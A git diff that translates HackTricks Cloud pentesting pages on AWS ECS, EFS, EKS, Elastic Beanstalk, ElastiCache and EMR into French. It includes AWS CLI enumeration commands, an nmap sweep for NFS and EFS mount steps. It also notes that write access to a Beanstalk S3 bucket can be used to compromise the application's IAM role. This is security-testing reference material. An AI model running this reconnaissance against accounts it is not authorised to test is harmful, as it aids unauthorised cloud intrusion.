-Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within.
+Les définitions de tâches sont responsables de **configurer les conteneurs réels qui seront exécutés dans ECS**. Puisque les définitions de tâches définissent comment les conteneurs fonctionneront, une pléthore d'informations peut y être trouvée.
 
-Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions.
-
-### Enumeration
+Pacu peut énumérer ECS (list-clusters, list-container-instances, list-services, list-task-definitions), il peut également extraire les définitions de tâches.
 
+### Énumération
 ```bash
 # Clusters info
 aws ecs list-clusters
@@ -52,8 +51,7 @@ aws ecs describe-tasks --cluster <cluster> --tasks <tasks>
 ## Look for env vars and secrets used from the task definition
 aws ecs describe-task-definition --task-definition <TASK_NAME>:<VERSION>
 ```
-
-### Unauthenticated Access
+### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
@@ -61,7 +59,7 @@ aws ecs describe-task-definition --task-definition <TASK_NAME>:<VERSION>
 
 ### Privesc
 
-In the following page you can check how to **abuse ECS permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions ECS pour élever les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-ecs-privesc.md
@@ -73,14 +71,10 @@ In the following page you can check how to **abuse ECS permissions to escalate p
 ../aws-post-exploitation/aws-ecs-post-exploitation.md
 {{#endref}}
 
-### Persistence
+### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-ecs-persistence.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
index bcf4e58d4..45a50cc50 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
@@ -4,22 +4,21 @@
 
 ## EFS
 
-### Basic Information
+### Informations de base
 
-Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms.
+Amazon Elastic File System (EFS) est présenté comme un **système de fichiers réseau entièrement géré, évolutif et élastique** par AWS. Le service facilite la création et la configuration de **systèmes de fichiers** qui peuvent être accessibles simultanément par plusieurs instances EC2 et d'autres services AWS. Les principales caractéristiques d'EFS incluent sa capacité à évoluer automatiquement sans intervention manuelle, à fournir un accès à faible latence, à prendre en charge des charges de travail à haut débit, à garantir la durabilité des données et à s'intégrer parfaitement à divers mécanismes de sécurité AWS.
 
-By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**.
+Par **défaut**, le dossier EFS à monter sera **`/`** mais il pourrait avoir un **nom différent**.
 
-### Network Access
+### Accès réseau
 
-An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, it’s needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**.
+Un EFS est créé dans un VPC et serait **par défaut accessible dans tous les sous-réseaux VPC**. Cependant, l'EFS aura un groupe de sécurité. Afin de **donner accès à un EC2** (ou tout autre service AWS) pour monter l'EFS, il est nécessaire de **permettre dans le groupe de sécurité EFS une règle NFS entrante** (port 2049) **en provenance du groupe de sécurité EC2**.
 
-Without this, you **won't be able to contact the NFS service**.
+Sans cela, vous **ne pourrez pas contacter le service NFS**.
 
-For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount)
-
-### Enumeration
+Pour plus d'informations sur la façon de faire cela, consultez : [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount)
 
+### Énumération
 ```bash
 # Get filesystems and access policies (if any)
 aws efs describe-file-systems
@@ -39,12 +38,10 @@ aws efs describe-replication-configurations
 # Search for NFS in EC2 networks
 sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure
 ```
-
 > [!CAUTION]
-> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**.
-
-### Mount EFS
+> Il se peut que le point de montage EFS soit dans le même VPC mais dans un sous-réseau différent. Si vous voulez être sûr de trouver tous les **points EFS, il serait préférable de scanner le masque de sous-réseau `/16`**.
 
+### Monter EFS
 ```bash
 sudo mkdir /efs
 
@@ -58,70 +55,63 @@ sudo yum install amazon-efs-utils # If centos
 sudo apt-get install amazon-efs-utils # If ubuntu
 sudo mount -t efs <file-system-id/EFS DNS name>:/ /efs/
 ```
-
 ### IAM Access
 
-By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\
-For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**:
-
+Par **défaut**, toute personne ayant **un accès réseau à l'EFS** pourra le monter, **le lire et y écrire même en tant qu'utilisateur root**. Cependant, des politiques de système de fichiers pourraient être en place **n'autorisant que les principaux avec des autorisations spécifiques** à y accéder.\
+Par exemple, cette politique de système de fichiers **ne permettra même pas de monter** le système de fichiers si vous **n'avez pas la permission IAM** :
 ```json
 {
-  "Version": "2012-10-17",
-  "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797",
-  "Statement": [
-    {
-      "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": "",
-      "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018",
-      "Condition": {
-        "Bool": {
-          "elasticfilesystem:AccessedViaMountTarget": "true"
-        }
-      }
-    }
-  ]
+"Version": "2012-10-17",
+"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797",
+"Statement": [
+{
+"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "",
+"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018",
+"Condition": {
+"Bool": {
+"elasticfilesystem:AccessedViaMountTarget": "true"
+}
+}
+}
+]
 }
 ```
-
-Or this will **prevent anonymous access**:
+Ou cela **préventera l'accès anonyme** :
 
 <figure><img src="../../../images/image (278).png" alt=""><figcaption></figcaption></figure>
 
-Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command:
-
+Notez que pour monter des systèmes de fichiers protégés par IAM, vous DEVEZ utiliser le type "efs" dans la commande de montage :
 ```bash
 sudo mkdir /efs
 sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
 # To use a different pforile from ~/.aws/credentials
 # You can use: -o tls,iam,awsprofile=namedprofile
 ```
+### Points d'accès
 
-### Access Points
+**Les points d'accès** sont des **points d'entrée** spécifiques à l'**application** **dans un système de fichiers EFS** qui facilitent la gestion de l'accès des applications aux ensembles de données partagés.
 
-**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets.
-
-When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data.
-
-**You can mount the File System from an access point with something like:**
+Lorsque vous créez un point d'accès, vous pouvez **spécifier le propriétaire et les permissions POSIX** pour les fichiers et répertoires créés via le point d'accès. Vous pouvez également **définir un répertoire racine personnalisé** pour le point d'accès, soit en spécifiant un répertoire existant, soit en créant un nouveau avec les permissions souhaitées. Cela vous permet de **contrôler l'accès à votre système de fichiers EFS sur une base par application ou par utilisateur**, facilitant ainsi la gestion et la sécurisation de vos données de fichiers partagées.
 
+**Vous pouvez monter le système de fichiers à partir d'un point d'accès avec quelque chose comme :**
 ```bash
 # Use IAM if you need to use iam permissions
 sudo mount -t efs -o tls,[iam],accesspoint=<access-point-id> \
-    <file-system-id/EFS DNS> /efs/
+<file-system-id/EFS DNS> /efs/
 ```
-
 > [!WARNING]
-> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it.
+> Notez qu'en essayant de monter un point d'accès, vous devez toujours être capable de **contacter le service NFS via le réseau**, et si l'EFS a une **politique** de système de fichiers, vous avez besoin de **suffisantes autorisations IAM** pour le monter.
 
-Access points can be used for the following purposes:
+Les points d'accès peuvent être utilisés pour les objectifs suivants :
 
-- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions.
-- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification.
-- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications.
+- **Simplifier la gestion des autorisations** : En définissant un utilisateur et un groupe POSIX pour chaque point d'accès, vous pouvez facilement gérer les autorisations d'accès pour différentes applications ou utilisateurs sans modifier les autorisations du système de fichiers sous-jacent.
+- **Imposer un répertoire racine** : Les points d'accès peuvent restreindre l'accès à un répertoire spécifique au sein du système de fichiers EFS, garantissant que chaque application ou utilisateur opère dans son dossier désigné. Cela aide à prévenir l'exposition ou la modification accidentelle des données.
+- **Accès au système de fichiers plus facile** : Les points d'accès peuvent être associés à une fonction AWS Lambda ou à une tâche AWS Fargate, simplifiant l'accès au système de fichiers pour les applications sans serveur et conteneurisées.
 
 ## Privesc
 
@@ -142,7 +132,3 @@ Access points can be used for the following purposes:
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
index a7ead6d10..364c88913 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
@@ -4,17 +4,16 @@
 
 ## EKS
 
-Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS.
+Amazon Elastic Kubernetes Service (Amazon EKS) est conçu pour éliminer le besoin pour les utilisateurs d'installer, d'exploiter et de gérer leur propre plan de contrôle Kubernetes ou leurs nœuds. Au lieu de cela, Amazon EKS gère ces composants, offrant un moyen simplifié de déployer, gérer et mettre à l'échelle des applications conteneurisées utilisant Kubernetes sur AWS.
 
-Key aspects of Amazon EKS include:
+Les aspects clés d'Amazon EKS incluent :
 
-1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates.
-2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security.
-3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design.
-4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment.
+1. **Plan de contrôle Kubernetes géré** : Amazon EKS automatise des tâches critiques telles que le patching, la provision des nœuds et les mises à jour.
+2. **Intégration avec les services AWS** : Il offre une intégration transparente avec les services AWS pour le calcul, le stockage, la base de données et la sécurité.
+3. **Scalabilité et sécurité** : Amazon EKS est conçu pour être hautement disponible et sécurisé, offrant des fonctionnalités telles que le scaling automatique et l'isolation par conception.
+4. **Compatibilité avec Kubernetes** : Les applications fonctionnant sur Amazon EKS sont entièrement compatibles avec les applications fonctionnant sur n'importe quel environnement Kubernetes standard.
 
 #### Enumeration
-
 ```bash
 aws eks list-clusters
 aws eks describe-cluster --name <cluster_name>
@@ -32,19 +31,14 @@ aws eks describe-nodegroup --cluster-name <c_name> --nodegroup-name <n_name>
 aws eks list-updates --name <name>
 aws eks describe-update --name <name> --update-id <id>
 ```
-
 #### Post Exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-eks-post-exploitation.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
index 980504dac..d27a3a161 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
@@ -4,70 +4,69 @@
 
 ## Elastic Beanstalk
 
-Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS.
+Amazon Elastic Beanstalk fournit une plateforme simplifiée pour **déployer, gérer et mettre à l'échelle des applications et services web**. Il prend en charge une variété de langages de programmation et de frameworks, tels que Java, .NET, PHP, Node.js, Python, Ruby et Go, ainsi que des conteneurs Docker. Le service est compatible avec des serveurs largement utilisés, y compris Apache, Nginx, Passenger et IIS.
 
-Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code.
+Elastic Beanstalk offre un moyen simple et flexible de **déployer vos applications dans le cloud AWS**, sans avoir à se soucier de l'infrastructure sous-jacente. Il **gère automatiquement** les détails de la **provisionnement** de capacité, de l'**équilibrage de charge**, de la **mise à l'échelle** et de la **surveillance de la santé** des applications, vous permettant de vous concentrer sur l'écriture et le déploiement de votre code.
 
-The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2:
+L'infrastructure créée par Elastic Beanstalk est gérée par des **Groupes d'Autoscaling** dans **EC2** (avec un équilibreur de charge). Ce qui signifie qu'à la fin de la journée, si vous **compromettez l'hôte**, vous devez connaître EC2 :
 
 {{#ref}}
 aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-Moreover, if Docker is used, it’s possible to use **ECS**.
+De plus, si Docker est utilisé, il est possible d'utiliser **ECS**.
 
 {{#ref}}
 aws-eks-enum.md
 {{#endref}}
 
-### Application & Environments
+### Application & Environnements
 
-In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process.
+Dans AWS Elastic Beanstalk, les concepts d'une "application" et d'un "environnement" servent des objectifs différents et ont des rôles distincts dans le processus de déploiement.
 
 #### Application
 
-- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity.
-- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources.
-- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments.
+- Une application dans Elastic Beanstalk est un **conteneur logique pour le code source, les environnements et les configurations de votre application**. Elle regroupe différentes versions de votre code d'application et vous permet de les gérer en tant qu'entité unique.
+- Lorsque vous créez une application, vous fournissez un nom et une **description, mais aucune ressource n'est provisionnée** à ce stade. C'est simplement un moyen d'organiser et de gérer votre code et les ressources associées.
+- Vous pouvez avoir **plusieurs versions d'application** au sein d'une application. Chaque version correspond à une version spécifique de votre code, qui peut être déployée dans un ou plusieurs environnements.
 
-#### Environment
+#### Environnement
 
-- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration.
-- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production.
-- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings.
+- Un environnement est une **instance provisionnée de votre application** fonctionnant sur l'infrastructure AWS. C'est **là où le code de votre application est déployé et exécuté**. Elastic Beanstalk provisionne les ressources nécessaires (par exemple, instances EC2, équilibreurs de charge, groupes d'auto-scaling, bases de données) en fonction de la configuration de l'environnement.
+- **Chaque environnement exécute une seule version de votre application**, et vous pouvez avoir plusieurs environnements pour différents objectifs, tels que le développement, les tests, la mise en scène et la production.
+- Lorsque vous créez un environnement, vous choisissez une plateforme (par exemple, Java, .NET, Node.js, etc.) et un type d'environnement (par exemple, serveur web ou travailleur). Vous pouvez également personnaliser la configuration de l'environnement pour contrôler divers aspects de l'infrastructure et des paramètres de l'application.
 
-### 2 types of Environments
+### 2 types d'Environnements
 
-1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability.
-2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes.
+1. **Environnement de Serveur Web** : Il est conçu pour **héberger et servir des applications web et des API**. Ces applications gèrent généralement les requêtes HTTP/HTTPS entrantes. L'environnement de serveur web provisionne des ressources telles que des **instances EC2, des équilibreurs de charge et des groupes d'auto-scaling** pour gérer le trafic entrant, gérer la capacité et garantir la haute disponibilité de l'application.
+2. **Environnement de Travailleur** : Il est conçu pour traiter des **tâches en arrière-plan**, qui sont souvent des opérations longues ou gourmandes en ressources qui ne nécessitent pas de réponses immédiates aux clients. L'environnement de travailleur provisionne des ressources comme des **instances EC2 et des groupes d'auto-scaling**, mais il **n'a pas d'équilibreur de charge** car il ne gère pas directement les requêtes HTTP/HTTPS. Au lieu de cela, il consomme des tâches à partir d'une **file d'attente Amazon Simple Queue Service (SQS)**, qui agit comme un tampon entre l'environnement de travailleur et les tâches qu'il traite.
 
-### Security
+### Sécurité
 
-When creating an App in Beanstalk there are 3 very important security options to choose:
+Lors de la création d'une application dans Beanstalk, il y a 3 options de sécurité très importantes à choisir :
 
-- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app
-- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**)
-  - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier).
-- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role.
-  - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions)
+- **Paire de clés EC2** : Ce sera la **clé SSH** qui pourra accéder aux instances EC2 exécutant l'application.
+- **Profil d'instance IAM** : C'est le **profil d'instance** que les instances auront (**privilèges IAM**).
+- Le rôle généré automatiquement s'appelle **`aws-elasticbeanstalk-ec2-role`** et a des accès intéressants sur tous les ECS, tous les SQS, DynamoDB elasticbeanstalk et elasticbeanstalk S3 en utilisant les politiques gérées par AWS : [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier).
+- **Rôle de service** : C'est le **rôle que le service AWS** utilisera pour effectuer toutes les actions nécessaires. A ma connaissance, un utilisateur AWS ordinaire ne peut pas accéder à ce rôle.
+- Ce rôle généré par AWS s'appelle **`aws-elasticbeanstalk-service-role`** et utilise les politiques gérées par AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) et [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions)
 
-By default **metadata version 1 is disabled**:
+Par défaut, **la version des métadonnées 1 est désactivée** :
 
 <figure><img src="../../../images/image (103).png" alt=""><figcaption></figcaption></figure>
 
-### Exposure
+### Exposition
 
-Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk-<region>-<acc-id>`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**.
+Les données Beanstalk sont stockées dans un **bucket S3** avec le nom suivant : **`elasticbeanstalk-<region>-<acc-id>`** (si elles ont été créées dans la console AWS). À l'intérieur de ce bucket, vous trouverez le **code source de l'application** téléchargé.
 
-The **URL** of the created webpage is **`http://<webapp-name>-env.<random>.<region>.elasticbeanstalk.com/`**
+L'**URL** de la page web créée est **`http://<webapp-name>-env.<random>.<region>.elasticbeanstalk.com/`**
 
 > [!WARNING]
-> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it
+> Si vous obtenez un **accès en lecture** sur le bucket, vous pouvez **lire le code source** et même trouver des **identifiants sensibles** dessus.
 >
-> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed.
-
-### Enumeration
+> Si vous obtenez un **accès en écriture** sur le bucket, vous pourriez **modifier le code source** pour **compromettre** le **rôle IAM** que l'application utilise la prochaine fois qu'elle est exécutée.
 
+### Énumération
 ```bash
 # Find S3 bucket
 ACCOUNT_NUMBER=<account_number>
@@ -85,33 +84,28 @@ aws elasticbeanstalk describe-instances-health --environment-name <env_name> # G
 # Get events
 aws elasticbeanstalk describe-events
 ```
-
-### Unauthenticated Access
+### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
 {{#endref}}
 
-### Persistence
+### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-elastic-beanstalk-persistence.md
 {{#endref}}
 
-### Privesc
+### Élévation de privilèges
 
 {{#ref}}
 ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
 {{#endref}}
 
-### Post Exploitation
+### Post-exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
index 6305fcc91..06e6b2267 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
@@ -4,10 +4,9 @@
 
 ## ElastiCache
 
-AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**.
+AWS ElastiCache est un **service de stockage de données en mémoire et de cache entièrement géré** qui fournit des solutions à haute performance, faible latence et évolutives pour les applications. Il prend en charge deux moteurs en mémoire open-source populaires : **Redis et Memcached**. ElastiCache **simplifie** la **configuration**, la **gestion** et la **maintenance** de ces moteurs, permettant aux développeurs de déléguer des tâches chronophages telles que le provisionnement, le patching, la surveillance et les **sauvegardes**.
 
 ### Enumeration
-
 ```bash
 # ElastiCache clusters
 ## Check the SecurityGroups to later check who can access
@@ -39,11 +38,6 @@ aws elasticache describe-users
 # List ElastiCache events
 aws elasticache describe-events
 ```
-
 ### Privesc (TODO)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
index b05012f3e..4e19ce3a6 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
@@ -4,38 +4,37 @@
 
 ## EMR
 
-AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark.
+Le service Elastic MapReduce (EMR) d'AWS, à partir de la version 4.8.0, a introduit une fonctionnalité de **configuration de sécurité** qui améliore la protection des données en permettant aux utilisateurs de spécifier des paramètres de chiffrement pour les données au repos et en transit au sein des clusters EMR, qui sont des groupes évolutifs d'instances EC2 conçus pour traiter des frameworks de big data comme Apache Hadoop et Spark.
 
-Key characteristics include:
+Les caractéristiques clés incluent :
 
-- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features:
-  - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider.
-  - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop:
-    - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer.
-    - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm.
-- **Encryption in Transit**: Focuses on securing data during transfer. Options include:
-  - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider:
-    - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket.
-    - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts.
+- **Chiffrement par défaut du cluster** : Par défaut, les données au repos au sein d'un cluster ne sont pas chiffrées. Cependant, l'activation du chiffrement permet d'accéder à plusieurs fonctionnalités :
+- **Configuration unifiée des clés Linux** : Chiffre les volumes de cluster EBS. Les utilisateurs peuvent opter pour le service de gestion des clés AWS (KMS) ou un fournisseur de clés personnalisé.
+- **Chiffrement HDFS open-source** : Offre deux options de chiffrement pour Hadoop :
+- RPC Hadoop sécurisé (Remote Procedure Call), défini sur la confidentialité, tirant parti de la couche de sécurité d'authentification simple.
+- Le chiffrement de transfert de blocs HDFS, défini sur vrai, utilise l'algorithme AES-256.
+- **Chiffrement en transit** : Se concentre sur la sécurisation des données lors du transfert. Les options incluent :
+- **Transport Layer Security (TLS) open source** : Le chiffrement peut être activé en choisissant un fournisseur de certificats :
+- **PEM** : Nécessite la création manuelle et le regroupement de certificats PEM dans un fichier zip, référencé depuis un bucket S3.
+- **Personnalisé** : Implique l'ajout d'une classe Java personnalisée en tant que fournisseur de certificats qui fournit des artefacts de chiffrement.
 
-Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version:
+Une fois qu'un fournisseur de certificats TLS est intégré dans la configuration de sécurité, les fonctionnalités de chiffrement spécifiques à l'application suivantes peuvent être activées, variant en fonction de la version EMR :
 
-- **Hadoop**:
-  - Might reduce encrypted shuffle using TLS.
-  - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption.
-- **Presto** (EMR version 5.6.0+):
-  - Internal communication between Presto nodes is secured using SSL and TLS.
-- **Tez Shuffle Handler**:
-  - Utilizes TLS for encryption.
-- **Spark**:
-  - Employs TLS for the Akka protocol.
-  - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service.
-  - External shuffle service is secured with the Simple Authentication Security Layer.
+- **Hadoop** :
+- Peut réduire le mélange chiffré en utilisant TLS.
+- RPC Hadoop sécurisé avec la couche de sécurité d'authentification simple et le transfert de blocs HDFS avec AES-256 sont activés avec le chiffrement au repos.
+- **Presto** (version EMR 5.6.0+) :
+- La communication interne entre les nœuds Presto est sécurisée à l'aide de SSL et TLS.
+- **Tez Shuffle Handler** :
+- Utilise TLS pour le chiffrement.
+- **Spark** :
+- Emploie TLS pour le protocole Akka.
+- Utilise la couche de sécurité d'authentification simple et 3DES pour le service de transfert de blocs.
+- Le service de mélange externe est sécurisé avec la couche de sécurité d'authentification simple.
 
